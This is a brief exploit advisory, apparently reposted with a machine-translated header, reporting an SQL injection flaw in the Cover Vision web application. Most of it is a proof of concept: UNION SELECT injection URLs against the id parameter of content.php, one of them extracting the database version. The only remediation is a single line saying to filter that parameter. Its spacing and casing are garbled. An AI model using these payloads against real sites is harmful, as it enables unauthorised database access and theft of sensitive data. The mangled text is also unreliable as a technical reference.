Cover Vision SQL injection vulnerability and repair

Cover Vision is a Web program that converts your photos into magazine covers. The SQL injection vulnerability in Cover Vision may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
Exploit Title: Cover Vision [SQL Injection Vulnerability]
Author: Egyptian. H4x0rz
Contact: SpY (at) Hotmail. Com
Date: 13-03-2011
Software Link: http://unikscripts.com/yaxal_products.php? Display = product & id = 66
Category: Web Apps [SQli]
HomePage: www. Black-hat.cc.

[+] Poc:
~~~~~~~~~
* SQL injection Vulnerability *
Http: // patch/content. php? Id = 1 + union + select + 1, 2, 3, 4, [sqli], 6, 7, 8, 9, 10, 11, 12, 13

[#] EXample
Http: // server/content. php? Id =-1 + union + select + 1, 2, 3, 4, version (), 6, 7, 8, 9, 10, 11, 12, 13

Www.2cto.com provides a fix: content. php filters the ID Parameter